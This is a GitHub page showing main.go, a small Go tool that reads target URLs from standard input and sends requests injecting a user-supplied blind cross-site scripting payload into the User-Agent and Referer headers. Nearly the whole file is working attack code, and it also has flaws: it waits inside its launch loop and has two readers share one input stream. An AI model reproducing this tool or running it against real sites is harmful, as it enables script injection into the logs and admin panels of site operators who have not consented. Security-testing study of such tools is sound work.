-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.go
102 lines (87 loc) · 2.3 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package main
import (
"fmt"
"flag"
"sync"
"time"
"bufio"
"os"
"net/http"
)
const (
BannerColor = "\033[1;34m%s\033[0m\033[1;36m%s\033[0m"
TextColor = "\033[1;0m%s\033[1;32m%s\n\033[0m"
InfoColor = "\033[1;0m%s\033[1;35m%s\033[0m"
NoticeColor = "\033[1;0m%s\033[1;34m%s\n\033[0m"
)
func main () {
var c int
var p string
flag.IntVar(&c, "C", 30, "Set the Concurrency")
flag.StringVar(&p, "p", "", "The Blind XSS Payload")
flag.Parse()
fmt.Printf(BannerColor,`
==================================================
= ==== == == === ==== ==
= === === ========= == === ==== == ==== =
= ==== == ========= == === ==== == ==== =
= === === ========== ===== ======== ======
= ==== ======= ======== ======== ====
= === === ========== ========= ======== ==
= ==== == ========= == === ==== == ==== =
= === === ========= == === ==== == ==== =
= ==== ======== ==== === ==== ==
==================================================
`, "-- Coded by @tojojo -- \n")
if p == ""{
fmt.Printf("Some Argument are not set")
return
}else {
var wg sync.WaitGroup
for i:=0; i<c; i++ {
wg.Add(1)
go func () {
agentBxss(p)
refBxss(p)
wg.Done()
}()
wg.Wait()
}
}
}
func agentBxss(payload string ){
header:= "User-Agent"
time.Sleep(500 * time.Millisecond)
scanner:=bufio.NewScanner(os.Stdin)
client:=&http.Client{}
for scanner.Scan(){
link:=scanner.Text()
fmt.Printf(InfoColor ,"[+] Testing url:",link)
fmt.Printf(NoticeColor , "[+] Testing field:",header )
fmt.Printf(TextColor,"[+] Testing payload:",payload )
req,err:=http.NewRequest("GET", link, nil)
if err !=nil{
return
}
req.Header.Add(header, payload)
client.Do(req)
}
}
func refBxss(payload string ){
header:= "Referer"
time.Sleep(500 * time.Millisecond)
scanner:=bufio.NewScanner(os.Stdin)
client:=&http.Client{}
for scanner.Scan(){
link:=scanner.Text()
fmt.Printf(InfoColor, "[+] Testing url:" , link , "For Blind XSS")
fmt.Printf(NoticeColor, "[+] Testing field:",header )
fmt.Printf(TextColor, "[+] Testing payload:",payload )
req,err:=http.NewRequest("GET", link, nil)
if err !=nil{
return
}
req.Header.Add(header, payload)
client.Do(req)
}
}